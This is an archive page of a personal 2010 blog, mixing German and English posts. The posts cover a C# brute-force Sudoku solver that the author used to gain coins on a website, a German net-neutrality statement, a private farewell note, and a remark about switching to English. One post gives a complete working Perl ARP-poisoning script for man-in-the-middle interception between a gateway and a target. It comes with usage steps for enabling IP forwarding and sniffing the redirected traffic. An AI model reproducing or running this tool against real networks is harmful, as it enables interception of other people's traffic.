Archive

Author Archive

[C#] Sudoku Solver

August 16th, 2010 admin No comments

Here’s some of the code I used back there to “hack” some coins at beliebtestewebseite.de.
It’s just the coded needed to solve (bruteforce) the sudokou.
*click*
Anyways. Hopefully you can use it. It’s written in C#.

The array “sudoku” contains all fields of the 9×9 sudoku.
A field contains “0″, if it’s “empty”.
If the exception “Solution found” is thrown/catched,the programm stops, because the solution is,obviously, found. *g*
There you go:

{
	int[,] sudoku = new int[9, 9];
        try  { solve(0, 0); }
        	catch (Exception ex) {
                MessageBox.Show("SCORE! :o");
            }
        }
}
 
        private void solve(int row, int col) {
	    if( row > 8 )
                throw new Exception( "Solution found" ) ;
            else {
                // Skip cells which are not empty
                while( sudoku[row,col] != 0 ) {
                    if( ++col > 8 ) {
                        col = 0 ;
                        row++ ;
 
                        // Throw an exception to stop the process if the puzzle is solved
                        if (row > 8)
                            throw new Exception( "Solution found" ) ;
                    }
                }
 
                // Find a valid number for the empty cell
                for( int num = 1; num < 10; num++ ) {
                    if( checkRow(row,num) && checkColumn(col,num) && checkBox(row,col,num) ) {
                        sudoku[row,col] = num ;
 
                        // Delegate work on the next cell to a recursive call
                        if( col < 8 )
                            solve( row, col + 1 ) ;
                        else
                            solve( row + 1, 0 ) ;
                    }
                }
 
                // No valid number was found, clean up and return to caller
                sudoku[row,col] = 0 ;
            }
        }
 
        private bool checkRow(int row, int num) {
            for (int col = 0; col < 9; col++)
                if (sudoku[row,col] == num)
                    return false;
 
            return true;
        }
 
        private bool checkColumn(int col, int num) {
            for (int row = 0; row < 9; row++)
                if (sudoku[row, col] == num)
                    return false;
            return true;
        }
 
        private bool checkBox(int row, int col, int num) {
            row = (row/3)*3;
            col = (col/3)*3;
 
            for (int r = 0; r < 3; r++)
                for (int c = 0; c < 3; c++)
                    if (sudoku[row + r,col + c] == num)
                        return false;
 
            return true;
        }

Post to Twitter Post to Plurk Post to Yahoo Buzz Post to Delicious Post to Digg Post to Facebook Post to MySpace Post to Ping.fm Post to Reddit Post to StumbleUpon

Categories: Sources, Tools

Netzneutralität ist der Schlüssel zur Wahrung des freien Internets!

August 11th, 2010 admin 3 comments

Wir wollen ein freies und offenes Internet sicherstellen.

Ein freies Internet ohne staatliche oder wirtschaftliche Eingriffe ist Garant für freien Meinungsaustausch weltweit und damit die direkte Ableitung des Rechts auf Meinungsfreiheit. Netzneutralität ist elementar für unsere Demokratie.

Netzneutralität fördert die Entfaltung kreativer und ökonomischer Potentiale und sichert damit das Innovationspotential des Internets. Die Innovationsfähigkeit der Wirtschaft wird gestärkt wenn Entwicklungen frei online verfügbar sind und auch in neuen kollaborativen Ansätzen weiterentwickelt werden können. Innovationen brauchen Offenheit – die Möglichkeiten des Internets auf einige wenige Privileigierte zu beschränken, läuft dem entgegen.

Netzneutralität ist in unserer heutigen Gesellschaft sozial geboten. Sie verringert die digitale Spaltung, da die Übertragung von Internetinhalten nicht allein von der finanziellen Leistungsfähigkeit der Anbietenden oder Nutzenden abhängig ist. Netzneutralität sichert somit den Zugang zu Wissen und Informationen unabhängig von Herkunft, Aufenthaltsort, Einkommen, sozialer Schicht und ökonomischer Leistungsfähigkeit.

Die Aufgabe der Netzneutralität würde ein Zwei-Klassen Internet befördern, wo sich die großen Medien- und Internetkonzerne dieser Welt ihr eigenes Netz schaffen, und alternative und neue Anbieter damit verdrängt werden bzw. hinten anstehen müssten. Die zunehmende Kommerzialisierung vieler Dienstleistungen durch ein Aufbrechen der Netzneutralität im Internet und die damit einhergehende Monopolisierung, schränkt gerade die kreativen Potentiale des Internets und die Teilhabe daran erheblich ein. Ein Ende der Netzneutralität wäre innovationsfeindlich, da Neuentwicklungen ohne die finanzielle Ausstattung zum Erwerb der positiven Unterstützung der Internetanbieter, nicht mehr die Möglichkeit hätten sich einem Massenpublikum zu präsentieren. Bestehende Unternehmen könnten sich diesen priviligierten Zugang noch erkaufen, Neue meist nicht. Die Pluralität im Internet würde sinken und gefestigte Strukturen einseitig gestärkt.

Ohne Netzneutralität würde zunehmend eine Priorisierung durch die Internetanbieter stattfinden, entweder von eigenen Angeboten oder von Angeboten, die es sich leisten können, den privilegierten Zugang zu erwerben. Exklusive Partnerschaften zwischen Unternehmen würden zunehmen und gleichzeitig den wichtigen Grundsatz des freien Zugangs zum Internet künstlich beschränken. Die fatale Konsequenz: Statt Qualität, Sicherheit und Kreativität diktiert das Geld, welche Angebote im Internet nutzbar sind und welche nicht. Datenpakete würden nicht länger wie heute in den überwiegenden Fällen unabhängig von Inhalt und Anwendung gleichberechtigt übertragen werden.

Daher setzen wir uns für die neutrale Übermittlung von Daten im Internet, für die Netzneutralität, ein. Wir sehen mit dem möglichen Ende der Netzneutralität eine ganz erhebliche Gefahr für die digitale Gleichberechtigung und Teilhabe in Deutschland, Europa und der Welt . Das Ende der Netzneutralität wäre das Ende des freien Internets wie wir es kennen. Wir lehnen es mit aller Deutlichkeit ab, wenn Internetanbieter bereit sind, die Netzneutralität (und damit auch die Meinungsfreiheit im Internet) aufzugeben. Sei es , um diese als Spielball gegen staatliche Regulierung der Netzinfrastruktur einzusetzen oder sie aus Interessen der kurzfristigen Gewinnmaximierung zu missbrauchen. Vielmehr muss schneller und konsequenter in die Infrastruktur des Netzes investiert werden, statt die zunehmende Drosselung des Internets und Verknappung der Bandbreite voranzutreiben. Netzmanagement darf weder eine inhaltliche, politische noch ökonomische Kontrolle inne haben.

Netzneutralität ist notwendig für die zukünftige freie und kreative Entfaltung des Internets. Daher fordern wir die gesetzliche Verankerung der Netzneutralität.

*signed*

http://pro-netzneutralitaet.de/

Post to Twitter Post to Plurk Post to Yahoo Buzz Post to Delicious Post to Digg Post to Facebook Post to MySpace Post to Ping.fm Post to Reddit Post to StumbleUpon

Categories: Virtual-life

Abschiedspost

July 29th, 2010 admin 6 comments

Hallo lieber Leser,

dies ist ein Abschiedsbeitrag von Yvicoerchen.
Ich hab hier schön öfters die Ehre gehabt was zu Posten und des is jetzt ein ganz persönlicher Post für Nazrek, den ich mit euch teilen will.

Also gut Puffilein, wo fang ich denn am besten an. Der Anfang unserer Freundschaft war verrückt und man hätte nie gedacht, dass du einer der wenigen Menschen wirst (Es gibt genau 2) die mich so gut kennen würden. Vorhin als ich das Lied gesucht hab, is mir wieder aufgefallen wie gut du mich kennst, wie du gleich weißt was ich möchte ohne das ich es aussprechen muss. Des war auch der Grund warum ich angefangen hab zu weinen weil ich erst jetzt gemerkt hab wie schwer es sein wird, dich nicht immer da zu haben wenn ich dich brauch. Es waren immer nur kleine Dinge aber genau diese Dinge machen es aus…
Du warst immer für mich da, egal wann, egal um wie viel Uhr (Ich sag nur Hbf^^). Und jetzt mal gleich zum ernst des Lebens, glaub ja nicht das sich da was ändern wird. Ich werde immer noch dich mitten in der Nacht anrufen, wenn ich jemanden brauch der mir ohne iwelche Argumentare zuhört, oder ich jemanden brauche der mir seinen neutralen Rat gibt.

Puffi du bist und bleibst mein bester Freund und wir werden uns relativ regelmäßig sehen, da bin ich mir sicher, weil ohne dich halt ich es doch garnicht aus… Ich hab eig gedacht das des garnet so schwer wird aber iwie is es doch garnet so einfach. Ich werd unsere Shoppingtouren im Kaufland vermissen, da muss ich wohl ab jetzt selbst den Wagen schieben^^

Ich hab dich Lieb Puffi des darfst nie vergessen und es gibt niemanden der dich ersetzen kann! Niemand wird jemals so sehr mein bester Freund sein wie du es bist!

Deine Yvicoerchen <3

Post to Twitter Post to Plurk Post to Yahoo Buzz Post to Delicious Post to Digg Post to Facebook Post to MySpace Post to Ping.fm Post to Reddit Post to StumbleUpon

Categories: Real-life

[Perl] ARP Spoofing / Poisoning Script

July 14th, 2010 admin 3 comments

Here we go, lol.
I just remembered that I wanted to create a rather simple script to poison ARP caches….some time ago.
As the headline already tells: It’s written in Perl (and it’ll just run under linux :F).
As mentioned I tried to keep it rather simple – but there are only a few comments.
If you have any questions, feel free to ask.

Useful links:
http://en.wikipedia.org/wiki/ARP_spoofing
http://en.wikipedia.org/wiki/Ethernet
http://en.wikipedia.org/wiki/Address_Resolution_Protocol

The Usage is simple, too.
First enable the forwarding of packets your computer receives.

1
echo "1" >> /proc/sys/net/ipv4/ip_forward

Then just run the script with the IPs of two victims local computers.
Of course you’ll need to permission to poison their ARP Cache. ;)

1
./arpsp.pl <gateway> <target>

As long as the script’s running, the computers’ caches keep being poisoned.
To sniff the traffic, you’ll still need another tool. Wireshark or something..

Anyway, here’s the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/perl
 
use Socket;
use warnings;
no warnings 'uninitialized';
my $device = 'eth0';
 
	print '	*~=~ arpsp.pl // [PHCN]nazrek'."\n"; 
	print '	*~=~ Mail/Jabber // <nazrek@phcn.ws>'."\n";
	print '	*~=~ 2010 // http://www.nazrek.org/'."\n\n";
 
	#Get input
	my $gw_IP = shift;
	my $targ_IP = shift;
 
	#Check input
	if( ($gw_IP . "." . $targ_IP) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
	{ die("	Usage: arpsp.pl <gateway> <target>\n"); }
 
	#Get 'em into the ARP Cache
	system("ping -q -c 1 -w 2 $gw_IP > /dev/null");
	system("ping -q -c 1 -w 2 $targ_IP > /dev/null");
	my $gw_MAC = get_MAC($gw_IP);
	my $targ_MAC = get_MAC($targ_IP);	
 
	#Read own IP / MAC from *ifconfig*
	@ifconf = split(" ", qx[/sbin/ifconfig $device]);
	my $own_IP = substr( $ifconf[7], index($ifconf[7], ":")+1 );
	my $own_MAC = $ifconf[5];
 
	#Print summary
	print "	*~=~ Gateway -> $gw_IP	-> $gw_MAC\n";
	print "	*~=~ Target  -> $targ_IP	-> $targ_MAC\n";
	print "	*~=~ You     -> $own_IP	-> $own_MAC\n";
 
	#Create the socket
	my $socket;
	$socket = socket(SOCKET, PF_INET, 10, 0x300);	
	if(!$socket){
		print "$!\n";
		exit(-1);
	}
 
	#Generate packets and send 'em
	my $dest = ("\x00"x2).$device.("\x00"x(14-length($device)));
 
	while(1) {
	#Create the socket
	my $socket;
	$socket = socket(SOCKET, PF_INET, 10, 0x300);	
	if(!$socket){
		print "$!\n";
		exit(-1);
	}
	my $pkt1 = gen_PKT($own_MAC,$gw_IP,$targ_MAC,$targ_IP);
	my $pkt2 = gen_PKT($own_MAC,$targ_IP,$gw_MAC,$gw_IP);
	send(SOCKET,$pkt1,0,$dest);
	send(SOCKET,$pkt2,0,$dest);
 
	#finally close the socket :)
	close(SOCKET);
	print "sent\n";
	sleep(4);
	}
 
 
####################################################
 
	#Read MAC-Adress from the ARP Cache
	sub get_MAC {
		my $IP = shift;
		my $MAC = qx[arp -na $IP];
		$MAC = substr($MAC, index($MAC, ':')-2, 17);
		return($MAC);
	}
 
####################################################
 
	#Generate the ETH Packet	
	sub gen_PKT {
		my $eth;
		my $s_h_addr=shift;
		my $s_p_addr=shift;
		my $d_h_addr=shift;
		my $d_p_addr=shift;
    		my $eth_type = 0x0806;
 
    		$d_h_addr=~s/\://g;
    		$s_h_addr=~s/\://g;
    		$arp=( gen_ARP($s_h_addr, $s_p_addr, $d_h_addr, $d_p_addr) );
 
    		$eth=pack('H*H*na*', $d_h_addr, $s_h_addr, $eth_type, $arp);
 
    		return($eth);
	}
 
####################################################
 
	#Generate the ARP Reply
	#It's a reply and we wanna trick the target and the gateway(or another target - doesn't matter)
	#Soo...
	#Source Hardware Address 	($s_h_addr) 	->	Our MAC
	#Source Protocol Address 	($s_p_addr) 	->	Target's  / Gateway's IP
	#Destination Hardware Address	($d_h_addr) 	-> 	Gateway's / Target's MAC
	#Destination Protocol Address ($d_p_addr)		->	Gateway's / Target's IP
	sub gen_ARP {
		my $arp;
		my $h_type=1;
		my $p_type=0x800;
		my $h_len=6;
		my $p_len=4;
		my $opcode=2;
		my $s_h_addr=shift;
		my $s_p_addr=shift;
		my $d_h_addr=shift;
		my $d_p_addr=shift;
		$s_p_addr = (gethostbyname($s_p_addr))[4];
		$d_p_addr = (gethostbyname($d_p_addr))[4];
		$arp=pack('nnccnH*a4H*a4', $h_type, $p_type, $h_len, $p_len, $opcode, $s_h_addr, $s_p_addr, $d_h_addr, $d_p_addr);
 
		return($arp);
	}
#EOF

Post to Twitter Post to Plurk Post to Yahoo Buzz Post to Delicious Post to Digg Post to Facebook Post to MySpace Post to Ping.fm Post to Reddit Post to StumbleUpon

Categories: Sources, Tools, Virtual-life

Switching to english

July 12th, 2010 admin 2 comments

English is one of the most spoken languages therefor (nearly) everyone understands it hence I’m gonna switch/try to publish all of my new posts either in english AND german or just in english.

So… I’ve got some spare-time to waste.. wat do?
I’d like to go some in the direction of networking, security and programming.
But I’m kinda lacking ideas (well nah, not really.. but somehow I’m lacking the motivation to get more and more into a topic until I’m able to write a tutorial).
Fell free to comment and gimme some slaps to the right direction, eh? ;)

-nazrek

Post to Twitter Post to Plurk Post to Yahoo Buzz Post to Delicious Post to Digg Post to Facebook Post to MySpace Post to Ping.fm Post to Reddit Post to StumbleUpon

Categories: Main